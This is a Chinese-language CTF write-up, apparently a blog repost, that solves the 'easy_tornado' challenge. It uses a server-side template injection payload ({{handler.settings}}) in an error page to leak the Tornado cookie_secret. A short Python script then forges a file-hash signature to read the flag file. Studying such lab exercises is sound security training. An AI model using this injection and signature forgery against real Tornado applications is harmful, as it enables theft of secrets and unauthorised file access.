当前位置:网站首页>漏洞复现-easy_tornado
漏洞复现-easy_tornado
2022-07-07 05:07:00 【_s1mple】
[环境]
windows
[工具]
Firefox
[步骤]
tornado是python中的一个web应用框架。
拿到题目发现有三个文件:
flag.txt
/flag.txt
flag in /fllllllllllllag
发现flag在/fllllllllllllag文件里;
welcome.txt
/welcome.txt
render
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
hints.txt
/hints.txt
md5(cookie_secret+md5(filename))
filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={ {datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={
{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
计算filehash值:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
成功获取flag。
边栏推荐
- Record a stroke skin bone error of the skirt
- 芯片资料 网站 易特创芯
- 船载雷达天线滑环的使用
- Linux server development, redis protocol and asynchronous mode
- QT learning 26 integrated example of layout management
- Use of JMeter
- 2022 welder (elementary) judgment questions and online simulation examination
- 青龙面板--花花阅读
- Bugku CTF daily one question chessboard with only black chess
- CDC (change data capture technology), a powerful tool for real-time database synchronization
猜你喜欢
[Matlab] Simulink 自定义函数中的矩阵乘法工作不正常时可以使用模块库中的矩阵乘法模块代替
Empire CMS collection Empire template program general
QT learning 26 integrated example of layout management
Myabtis_ Plus
Linux server development, redis source code storage principle and data model
Leetcode simple question: find the K beauty value of a number
jeeSite 表单页面的Excel 导入功能
JS复制图片到剪切板 读取剪切板
Use of JMeter
Content of string
随机推荐
Chip design data download
These five fishing artifacts are too hot! Programmer: I know, delete it quickly!
调用 pytorch API完成线性回归
Empire CMS collection Empire template program general
Find the mode in the binary search tree (use medium order traversal as an ordered array)
Lattice coloring - matrix fast power optimized shape pressure DP
Introduction à l'objet blob
LeetCode简单题之找到一个数字的 K 美丽值
Recursive method constructs binary tree from middle order and post order traversal sequence
DNS server configuration
Main window in QT learning 27 application
Call pytorch API to complete linear regression
Jmeter 的使用
Avatary的LiveDriver试用体验
有 Docker 谁还在自己本地安装 Mysql ?
复杂网络建模(二)
【数字IC验证快速入门】12、SystemVerilog TestBench(SVTB)入门
Recursive method to construct binary tree from preorder and inorder traversal sequence
jeeSite 表单页面的Excel 导入功能
OpenJudge NOI 2.1 1752:鸡兔同笼